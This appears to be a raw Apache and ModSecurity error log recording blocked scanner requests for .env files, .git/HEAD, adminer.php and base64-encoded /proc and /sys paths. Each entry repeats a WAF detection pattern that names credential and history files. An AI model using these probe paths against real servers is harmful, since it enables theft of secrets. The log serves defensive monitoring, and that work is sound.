[hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/08-routing/end/vue-heroes/.env"] [unique_id "ai3y3FWSojQL4F7upKBchAAAAKw"] [Sat Jun 13 18:16:28.284324 2026] [security2:error] [pid 648189:tid 648405] [client 185.177.72.9:14920] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/09-managing-state/begin/vue-heroes/.env"] [unique_id "ai3y3FWSojQL4F7upKBcjAAAALg"] [Sat Jun 13 18:16:28.417345 2026] [security2:error] [pid 648189:tid 648423] [client 185.177.72.9:14920] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/09-managing-state/end/vue-heroes/.env"] [unique_id "ai3y3FWSojQL4F7upKBcjgAAAMo"] [Sat Jun 13 18:16:28.430405 2026] [access_compat:error] [pid 648189:tid 648302] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:16:28.430688 2026] [access_compat:error] [pid 648189:tid 648302] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:16:28.454051 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:16:28.454324 2026] [access_compat:error] [pid 646876:tid 646982] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L21vdXNlMC9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:16:28.471236 2026] [access_compat:error] [pid 646876:tid 646994] [remote 57.141.14.111:47084] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:28.471690 2026] [access_compat:error] [pid 646876:tid 646994] [remote 57.141.14.111:47084] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:28.547956 2026] [security2:error] [pid 648189:tid 648483] [client 185.177.72.9:14920] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/123.php"] [unique_id "ai3y3FWSojQL4F7upKBckgAAAQE"] [Sat Jun 13 18:16:28.681618 2026] [security2:error] [pid 646876:tid 647097] [client 152.89.244.117:58102] ModSecurity: Access denied with code 406 (phase 2). Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/httpd/modsecurity.d/01_asl_content.conf"] [line "64"] [id "391213"] [msg "Atomicorp.com WAF Rules: Request content type is not allowed by policy"] [data "application/xhtml+xml"] [severity "WARNING"] [hostname "www.onmultimedia.net"] [uri "/"] [unique_id "ai3y3NyTkdrNlD40tSGokgAAAFk"] [Sat Jun 13 18:16:28.815321 2026] [security2:error] [pid 648189:tid 648224] [remote 74.7.242.16:39450] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3y3FWSojQL4F7upKBcmgAAqgQ"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNDkwL2F0dHI= [Sat Jun 13 18:16:28.824107 2026] [security2:error] [pid 646876:tid 647049] [client 185.177.72.9:14932] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/3-sequelize/final/.env"] [unique_id "ai3y3NyTkdrNlD40tSGolgAAACk"] [Sat Jun 13 18:16:28.834359 2026] [access_compat:error] [pid 648189:tid 648298] [remote 57.141.14.11:33241] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:28.834817 2026] [access_compat:error] [pid 648189:tid 648298] [remote 57.141.14.11:33241] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:28.923152 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.68:21434] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:28.923603 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.68:21434] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:28.970392 2026] [security2:error] [pid 646876:tid 647012] [client 185.177.72.9:14932] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/31_structure_tests/.env"] [unique_id "ai3y3NyTkdrNlD40tSGoowAAAAQ"] [Sat Jun 13 18:16:29.027571 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:29.028032 2026] [access_compat:error] [pid 646876:tid 646925] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:29.039315 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.73:28076] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:29.042521 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.73:28076] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:29.067310 2026] [access_compat:error] [pid 648189:tid 648280] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:29.068936 2026] [access_compat:error] [pid 648189:tid 648280] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:29.079905 2026] [security2:error] [pid 646876:tid 646971] [remote 17.246.19.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y3dyTkdrNlD40tSGorgAAC1w"] [Sat Jun 13 18:16:29.115801 2026] [security2:error] [pid 646876:tid 646945] [remote 17.22.237.37:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y3dyTkdrNlD40tSGosQAAIkI"] [Sat Jun 13 18:16:29.244778 2026] [security2:error] [pid 648189:tid 648358] [client 45.130.203.195:64679] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "beta.gamma.celadondragon.com"] [uri "/.git/HEAD"] [unique_id "ai3y3VWSojQL4F7upKBcrQAAAIo"] [Sat Jun 13 18:16:29.249026 2026] [core:error] [pid 646876:tid 646988] [remote 157.55.39.59:26398] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:16:29.249064 2026] [core:error] [pid 646876:tid 646988] [remote 157.55.39.59:26398] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:16:29.295022 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.13:44133] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:29.295281 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.13:44133] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:29.384524 2026] [security2:error] [pid 648189:tid 648386] [client 45.130.203.206:55189] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "www.beta.gamma.celadondragon.com"] [uri "/.git/HEAD"] [unique_id "ai3y3VWSojQL4F7upKBcsAAAAKY"] [Sat Jun 13 18:16:29.487725 2026] [security2:error] [pid 648189:tid 648313] [remote 74.7.242.16:39450] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3y3VWSojQL4F7upKBctQAAs1s"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:29.508977 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:16:29.510252 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:16:29.560910 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.11:33257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:29.561235 2026] [access_compat:error] [pid 648189:tid 648231] [remote 57.141.14.11:33257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:29.572258 2026] [security2:error] [pid 646876:tid 647135] [client 185.177.72.9:14932] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/"] [unique_id "ai3y3dyTkdrNlD40tSGoxgAAAH8"] [Sat Jun 13 18:16:29.607502 2026] [security2:error] [pid 648189:tid 648340] [remote 17.22.245.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y3VWSojQL4F7upKBcuwAA9XU"] [Sat Jun 13 18:16:29.652142 2026] [security2:error] [pid 648189:tid 648324] [remote 17.241.75.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y3VWSojQL4F7upKBcvAAA8GU"] [Sat Jun 13 18:16:29.764459 2026] [access_compat:error] [pid 648189:tid 648337] [remote 57.141.14.56:49134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:29.764919 2026] [access_compat:error] [pid 648189:tid 648337] [remote 57.141.14.56:49134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:29.890841 2026] [security2:error] [pid 648189:tid 648369] [client 207.241.173.18:50574] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env"] [unique_id "ai3y3VWSojQL4F7upKBcxAAAAJU"] [Sat Jun 13 18:16:30.017017 2026] [security2:error] [pid 648189:tid 648374] [client 207.241.173.18:50720] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/src/.env"] [unique_id "ai3y3lWSojQL4F7upKBcywAAAJo"] [Sat Jun 13 18:16:30.050538 2026] [security2:error] [pid 648189:tid 648396] [client 207.241.173.18:50736] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/server/.env"] [unique_id "ai3y3lWSojQL4F7upKBc3wAAALA"] [Sat Jun 13 18:16:30.050856 2026] [security2:error] [pid 648189:tid 648420] [client 207.241.173.18:50714] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/laravel/.env"] [unique_id "ai3y3lWSojQL4F7upKBc4AAAAMc"] [Sat Jun 13 18:16:30.051157 2026] [security2:error] [pid 648189:tid 648443] [client 207.241.173.18:50692] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/api/.env"] [unique_id "ai3y3lWSojQL4F7upKBc4gAAAN0"] [Sat Jun 13 18:16:30.051301 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ni9wb3dlcg== [Sat Jun 13 18:16:30.051307 2026] [security2:error] [pid 648189:tid 648433] [client 207.241.173.18:50708] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/backend/.env"] [unique_id "ai3y3lWSojQL4F7upKBc4wAAANQ"] [Sat Jun 13 18:16:30.051545 2026] [access_compat:error] [pid 646876:tid 646933] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ni9wb3dlcg== [Sat Jun 13 18:16:30.057325 2026] [security2:error] [pid 648189:tid 648378] [client 207.241.173.18:50748] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/public/.env"] [unique_id "ai3y3lWSojQL4F7upKBc2wAAAJ4"] [Sat Jun 13 18:16:30.059618 2026] [security2:error] [pid 648189:tid 648429] [client 207.241.173.18:50654] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.old"] [unique_id "ai3y3lWSojQL4F7upKBc5wAAANA"] [Sat Jun 13 18:16:30.060489 2026] 